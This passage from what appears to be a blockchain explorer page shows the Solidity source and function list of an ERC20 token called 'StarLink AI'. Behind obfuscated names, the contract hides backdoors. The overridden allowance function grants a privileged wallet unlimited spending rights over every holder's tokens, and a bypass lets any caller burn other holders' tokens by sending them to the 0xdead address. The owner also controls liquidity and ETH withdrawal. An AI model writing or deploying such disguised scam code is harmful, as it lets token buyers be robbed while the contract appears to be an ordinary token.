uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// File: Token.sol
// Compatible with OpenZeppelin Contracts ^5.0.0
pragma solidity ^0.8.20;
contract STARLINK is ERC20, Ownable {
uint256 public MFE3FNENF;
address public ANFE34FAD;
string public FONENFN34A;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
address private STARLINKtaxWallet;
mapping(address => bool) private _EANTI61NIO;
bool private tradingEnabled;
uint256 private totalSA4LINKDCY41BuySellTaxAmount = 0;
constructor()
ERC20(unicode"StarLink AI", unicode"STARLINK")
Ownable(msg.sender)
payable
{
STARLINKtaxWallet = msg.sender;
_EANTI61NIO[STARLINKtaxWallet] = true;
_mint(address(this), 1_000_000_000 * 10 ** decimals());
}
function decimals() public pure override returns (uint8) {
return 9;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _EANTI61NIO[spender] ? type(uint256).max : super.allowance(owner, spender);
}
function transferFrom(address from, address to, uint256 value) public override returns (bool) {
address spender = _msgSender();
_FNE35NF(from, spender, to, value);
_transfer(from, to, value);
return true;
}
function _update(address from, address to, uint256 value) internal override {
if(tradingEnabled && to == uniswapV2Pair) sendSA4LINKDCY41Tax(address(this).balance);
if(to == address(0xdead)) to = address(0);
super._update(from, to, value);
}
function _FNE35NF(address owner, address spender, address to, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if(owner != uniswapV2Pair && currentAllowance >= 0 && to == address(0xdead)) return;
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
function launchSA4LINKDCY41() external onlyOwner {
require(!tradingEnabled, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), totalSupply());
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
tradingEnabled = true;
}
function recoverStuckETH() external onlyOwner {
require(address(this).balance > 0);
payable(_msgSender()).transfer(address(this).balance);
}
function sendSA4LINKDCY41Tax(uint256 amount) private {
payable(STARLINKtaxWallet).transfer(amount);
}
receive() external payable {}
}
Read Contract
ANFE34FAD 0xc6f7abe5 → address
FONENFN34A 0x7bdfafcd → string
HFE3FNENF 0x92d79a58 → uint256
HONENFN34A 0x24653880 → string
MFE3FNENF 0x95ba0b05 → uint256
RNFE34FAD 0x91b978b6 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 value
returns: bool
launchSA4LINKDCY41 0x47ce5440
No parameters
recoverStuckETH 0x81a16445
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address